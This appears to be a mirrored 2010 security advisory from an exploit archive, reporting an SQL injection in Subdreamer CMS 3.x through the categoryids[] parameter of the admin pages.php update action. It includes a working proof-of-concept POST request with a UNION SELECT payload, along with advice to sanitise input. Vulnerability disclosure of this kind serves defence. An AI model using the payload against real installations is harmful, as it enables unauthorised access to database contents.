Home / os / win7

Subdreamer CMS SQL injection vulnerability

Posted on 14 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Subdreamer CMS SQL injection vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==========================================
Subdreamer CMS SQL injection vulnerability
==========================================


Details
=============
Product: Subdreamer CMS
Security-Risk: high
Remote-Exploit: yes
Vendor-URL: http://www.subdreamer.com/
Advisory-Status: published

Credits
=============
Discovered by: David Vieira-Kurz
http://www.majorsecurity.net/penetrationstest.php

Original Advisory
=============
http://www.majorsecurity.net/subdreamer_cms_sql_injection.php

Affected Products:
=============
Subdreamer CMS 3.x.x
Prior versions may also be vulnerable

Proof of concept:
=============
POST /admin/pages.php?action=update_pages HTTP/1.1
Referer: http://localhost/admin/pages.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET
CLR 1.1.4322;MajorSecurity)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: localhost
Content-Length: 225
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

categoryids[]=1%20union%20select%201,user%28%29,3,4,5,6%20/*&amp;categorynames[]=Home&amp;categoryparentids[]=0&amp;displayorders[]=1

=============
&quot;Subdreamer CMS is a web based content management system.&quot;

More Details
=============
We at MajorSecurity have discovered some vulnerabilities in Subdreamer
CMS, which can be exploited to conduct sql injection attacks.
Input passed directly to the &quot;categoryids[]&quot; POST parameter in
&quot;/admin/pages.php?action=update_pages&quot; is not properly sanitised before
being used in a SQL query. This can be exploited to manipulate SQL
queries by injecting arbitrary SQL code.

Solution
=============
Web applications should never trust on user generated input and
therefore sanatize all input. Edit the source code to ensure that input
is properly sanitised.


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-14]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :